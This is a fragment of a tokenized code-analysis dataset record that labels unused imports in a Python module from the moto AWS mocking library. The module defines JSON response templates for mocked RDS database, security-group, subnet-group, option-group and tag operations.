'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 258 } ]
[ { "span": "import json", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 11 }, { "span": "import re", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "moto", "_", "._", "core_", "._", "responses_", "import_", "Base", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "moto", "_", "._", "ec2_", "._", "models_", "import_", "ec", "2", "\\u", "backends_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "models_", "import_", "rds", "2", "\\u", "backends_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "CREATE", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", "\"", "Creat", "e", "DB", "Insta", "nce", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Creat", "e", "DB", "Insta", "nce", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "DB", "Insta", "nce", "\":", " ", "{{", " ", "databa", "se", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", " ", "\"", "Request", "Id", "\":", " ", "\"", "523", "e3", "218", "-", "af", "c7", "-1", "1c", "3", "-", "90", "f5", "-", "f9", "043", "126", "0a", "b4", "\"", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CREATE", "\\u", "DATA", "BASE", "\\u", "REPLICA", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Creat", "e", "DB", "Insta", "nce", "Read", "Replica", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "5e", "60", "c4", "6d", "-", "a8", "4", "4", "-1", "1e", "4", "-", "bb", "6", "8", "-1", "7f", "364", "1", "8e", "5", "8f", "\"", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "\"", "Creat", "e", "DB", "Insta", "nce", "Read", "Replica", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "DB", "Insta", "nce", "\":", " ", "{{", " ", "databa", "se", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DESC", "RIB", "E", "\\u", "DATA", "BASE", "S", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", "\"", "Describe", "DB", "Insta", "nce", "s", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Describe", "DB", "Insta", "nce", "s", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "DB", "Insta", "nce", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "for", " ", "databa", "se", " ", "in", " ", "databa", "ses", " ", "-%", "}", "\\", "10", ";", " ", " ", "{%", "-", " ", "if", " ", "loop", ".", "index", " ", "!=", " ", "1", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", "{{", " ", "databa", "se", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "endf", "or", " ", "-%", "}", "\\", "10", ";", " ", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", " ", "\"", "Request", "Id", "\":", " ", "\"", "523", "e3", "218", "-", "af", "c7", "-1", "1c", "3", "-", "90", "f5", "-", "f9", "043", "126", "0a", "b4", "\"", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "MODIFY", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Modif", "y", "DB", "Insta", "nce", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Modif", "y", "DB", "Insta", "nce", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "DB", "Insta", "nce", "\":", " ", "{{", " ", "databa", "se", ".", "to", "\\u", "json", "()", " ", "}}", ",", "\\", "10", ";", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "bb", "584", "7", "6c", "-", "a1", "a8", "-1", "1e", "4", "-", "9", "9c", "f", "-", "5", "5e", "9", "2d", "4b", "bad", "a", "\"", "\\", "10", ";", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "REB", "OOT", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Reboot", "DB", "Insta", "nce", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Reboot", "DB", "Insta", "nce", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "DB", "Insta", "nce", "\":", " ", "{{", " ", "databa", "se", ".", "to", "\\u", "json", "()", " ", "}}", ",", "\\", "10", ";", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "d5", "571", "1c", "b", "-", "a1", "ab", "-1", "1e", "4", "-", "9", "9c", "f", "-", "5", "5e", "9", "2d", "4b", "bad", "a", "\"", "\\", "10", ";", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DELET", "E", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", " ", "\"", "Delete", "DB", "Insta", "nce", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Delete", "DB", "Insta", "nce", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "DB", "Insta", "nce", "\":", " ", "{{", " ", "databa", "se", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "523", "e3", "218", "-", "af", "c7", "-1", "1c", "3", "-", "90", "f5", "-", "f9", "043", "126", "0a", "b4", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CREATE", "\\u", "SECURITY", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Creat", "e", "DB", "Secur", "it", "y", "Group", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Creat", "e", "DB", "Secur", "it", "y", "Group", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "DB", "Secur", "it", "y", "Group", "\":", "\\", "10", ";", " ", " ", " ", " ", "{{", " ", "security", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "462", "165", "d0", "-", "a7", "7a", "-1", "1e", "4", "-", "a5", "fa", "-", "7", "5b", "30", "c5", "56", "f9", "7", "\"", "\\", "10", ";", " ", " ", " ", " ", "}}\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DESC", "RIB", "E", "\\u", "SECURITY", "\\u", "GROUPS", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Describe", "DB", "Secur", "it", "y", "Group", "s", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "5d", "f2", "014", "e-", "a7", "7", "9", "-1", "1e", "4", "-", "bdb", "0", "-", "594", "def", "064", "d0", "c", "\"", "\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Describe", "DB", "Secur", "it", "y", "Group", "s", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mark", "er", "\":", " ", "\"", "null", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "DB", "Secur", "it", "y", "Group", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", " ", " ", "{%", " ", "for", " ", "security", "\\u", "group", " ", "in", " ", "security", "\\u", "group", "s", " ", "%}", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "if", " ", "loop", ".", "index", " ", "!=", " ", "1", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{{", " ", "security", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "{%", " ", "endf", "or", " ", "%}", "\\", "10", ";", " ", " ", " ", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DELET", "E", "\\u", "SECURITY", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Delete", "DB", "Secur", "it", "y", "Group", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "9", "7e", "846", "bd", "-", "a7", "7d", "-1", "1e", "4", "-", "ac", "5", "8", "-", "913", "5", "1c", "0f", "342", "6", "\"", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "AUTHORI", "ZE", "\\u", "SECURITY", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Authoriz", "e", "DB", "Secur", "it", "y", "Group", "Ingres", "s", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Authoriz", "e", "DB", "Secur", "it", "y", "Group", "Ingres", "s", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "DB", "Secur", "it", "y", "Group", "\":", " ", "{{", " ", "security", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "7", "5d", "32", "fd", "5", "-", "a7", "7e", "-1", "1e", "4", "-", "889", "2", "-", "b1", "043", "2f", "7a", "87", "d", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CREATE", "\\u", "SUB", "NET", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", "\"", "Creat", "e", "DB", "Subnet", "Group", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Creat", "e", "DB", "Subnet", "Group", "Result", "\":", "\\", "10", ";", " ", " ", " ", " ", "{", " ", "{{", " ", "subnet", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", " ", "\"", "Request", "Id", "\":", " ", "\"", "3a", "401", "b3", "f", "-", "bb", "9e", "-1", "1d", "3", "-", "f4", "c6", "-", "3", "7d", "b2", "9", "5f", "767", "4", "\"", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DESC", "RIB", "E", "\\u", "SUB", "NET", "\\u", "GROUPS", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", "\"", "Describe", "DB", "Subnet", "Group", "s", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Describe", "DB", "Subnet", "Group", "s", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "DB", "Subnet", "Group", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "{%", " ", "for", " ", "subnet", "\\u", "group", " ", "in", " ", "subnet", "\\u", "group", "s", " ", "%}", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "{", " ", "{{", " ", "subnet", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}", " ", "}{", "%", "-", " ", "if", " ", "not", " ", "loop", ".", "last", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "{%", " ", "endf", "or", " ", "%}", "\\", "10", ";", " ", " ", "],", "\\", "10", ";", " ", " ", "\"", "Mark", "er", "\":", " ", "null", "\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", " ", "\"", "Request", "Id", "\":", " ", "\"", "b7", "8", "3d", "b3", "b", "-", "b9", "8c", "-1", "1d", "3", "-", "fb", "c7", "-", "5c", "0a", "ad", "7", "4d", "a7", "c", "\"", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DELET", "E", "\\u", "SUB", "NET", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Delete", "DB", "Subnet", "Group", "Respons", "e", "\":", " ", "{", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\"", "Request", "Id", "\":", " ", "\"", "137", "85", "dd", "5", "-", "a7", "fc", "-1", "1e", "4", "-", "bb", "9c", "-", "7f", "371", "d0", "859", "b0", "\"}}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CREATE", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Creat", "e", "Optio", "n", "Group", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Creat", "e", "Optio", "n", "Group", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Optio", "n", "Group", "\":", " ", "{{", " ", "option", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "1e", "3", "8d", "ad", "4", "-", "9", "f5", "0", "-1", "1e", "4", "-", "87", "ea", "-", "a3", "1c", "60", "ed", "2e", "3", "6", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DELET", "E", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Delete", "Optio", "n", "Group", "Respons", "e", "\":", " ", "{", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\"", "Request", "Id", "\":", " ", "\"", "e2", "590", "367", "-", "9", "fa", "2", "-1", "1e", "4", "-", "9", "9c", "f", "-", "5", "5e", "9", "2d", "4", "1c", "60", "e", "\"}}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DESC", "RIB", "E", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Describe", "Optio", "n", "Group", "s", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Describe", "Optio", "n", "Group", "s", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mark", "er", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Optio", "n", "Group", "s", "List", "\":", " ", "[", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "for", " ", "option", "\\u", "group", " ", "in", " ", "option", "\\u", "group", "s", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "if", " ", "loop", ".", "index", " ", "!=", " ", "1", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{{", " ", "option", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "endf", "or", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "]},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\"", "Request", "Id", "\":", " ", "\"", "4c", "af", "445", "d", "-", "9", "fb", "c", "-1", "1e", "4", "-", "87", "ea", "-", "a3", "1c", "60", "ed", "2e", "3", "6", "\"}", "\\", "10", ";", " ", " ", " ", " ", "}}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DESC", "RIB", "E", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "OPTION", "S", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Describe", "Optio", "n", "Group", "Optio", "ns", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Describe", "Optio", "n", "Group", "Optio", "ns", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mark", "er", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Optio", "n", "Group", "Optio", "ns", "\":", " ", "[", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "for", " ", "option", "\\u", "group", "\\u", "option", " ", "in", " ", "option", "\\u", "group", "\\u", "options", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "if", " ", "loop", ".", "index", " ", "!=", " ", "1", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{{", " ", "option", "\\u", "group", "\\u", "option", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "endf", "or", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "]},", "\\", "10", ";", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\"", "Request", "Id", "\":", " ", "\"", "457", "f7", "bb", "8", "-", "9", "fb", "f", "-1", "1e", "4", "-", "908", "4", "-", "575", "4f", "80", "d5", "144", "\"}", "\\", "10", ";", " ", " ", " ", " ", "}}", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "MODIFY", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Modif", "y", "Optio", "n", "Group", "Respons", "e", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "ce", "928", "4a", "5", "-", "a0", "de", "-1", "1e", "4", "-", "b9", "84", "-", "a1", "1a", "5", "3e", "1f", "328", "\"", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "\"", "Modif", "y", "Optio", "n", "Group", "Result", "\":", "\\", "10", ";", " ", " ", " ", " ", "{{", " ", "option", "\\u", "group", ".", "to", "\\u", "json", "()", " ", "}}\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "LIST", "\\u", "TAG", "S", "\\u", "FOR", "\\u", "RES", "OUR", "CE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "List", "Ta", "gs", "For", "Reso", "urc", "e", "Respons", "e", "\":", "\\", "10", ";", " ", " ", "{", "\"", "List", "Ta", "gs", "For", "Reso", "urc", "e", "Result", "\":", "\\", "10", ";", " ", " ", " ", " ", "{", "\"", "Ta", "g", "List", "\":", " ", "[", "\\", "10", ";", " ", " ", "{%", "-", " ", "for", " ", "tag", " ", "in", " ", "tags", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{%", "-", " ", "if", " ", "loop", ".", "index", " ", "!=", " ", "1", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "\"", "Key", "\":", " ", "\"{", "{", " ", "tag", "['", "Key", "']", " ", "}}", "\",", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "\"", "Value", "\":", " ", "\"{", "{", " ", "tag", "['", "Value", "']", " ", "}}", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "{%", "-", " ", "endf", "or", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", " ", "]},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "8c", "21", "ba", "3", "9", "-", "a5", "98", "-1", "1e", "4", "-", "b6", "88", "-1", "9", "4e", "af", "865", "8f", "a", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ADD", "\\u", "TAG", "S", "\\u", "TO", "\\u", "RES", "OUR", "CE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "List", "Ta", "gs", "For", "Reso", "urc", "e", "Respons", "e", "\":", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", "\"", "List", "Ta", "gs", "For", "Reso", "urc", "e", "Result", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", "\"", "Ta", "g", "List", "\":", " ", "[", "\\", "10", ";", " ", " ", " ", "{%", "-", " ", "for", " ", "tag", " ", "in", " ", "tags", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", "{%", "-", " ", "if", " ", "loop", ".", "index", " ", "!=", " ", "1", " ", "-%", "},{", "%", "-", " ", "endi", "f", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "\"", "Key", "\":", " ", "\"{", "{", " ", "tag", "['", "Key", "']", " ", "}}", "\",", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "\"", "Value", "\":", " ", "\"{", "{", " ", "tag", "['", "Value", "']", " ", "}}", "\"", "\\", "10", ";", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", "{%", "-", " ", "endf", "or", " ", "-%", "}", "\\", "10", ";", " ", " ", " ", "]},", "\\", "10", ";", " ", " ", " ", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", "\"", "Request", "Id", "\":", " ", "\"", "b1", "9", "4d", "9c", "a", "-", "a6", "64", "-1", "1e", "4", "-", "b6", "88", "-1", "9", "4e", "af", "865", "8f", "a", "\"", "\\", "10", ";", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "REMOVE", "\\u", "TAG", "S", "\\u", "FROM", "\\u", "RES", "OUR", "CE", "\\u", "TEMPLATE_", "=_", "\"\"\"{", "\"", "Remove", "Ta", "gs", "Fro", "m", "Reso", "urc", "e", "Respons", "e", "\":", " ", "{", "\"", "Respons", "e", "Meta", "data", "\":", " ", "{", "\"", "Request", "Id", "\":", " ", "\"", "c6", "499", "a0", "1", "-", "a6", "64", "-1", "1e", "4", "-", "806", "9", "-", "fb", "454", "b7", "1a", "80", "e", "\"}}", "}", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL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LINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "backend_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "rds", "2", "\\u", "backends_", "[_", "self_", "._", "region_", "]_", 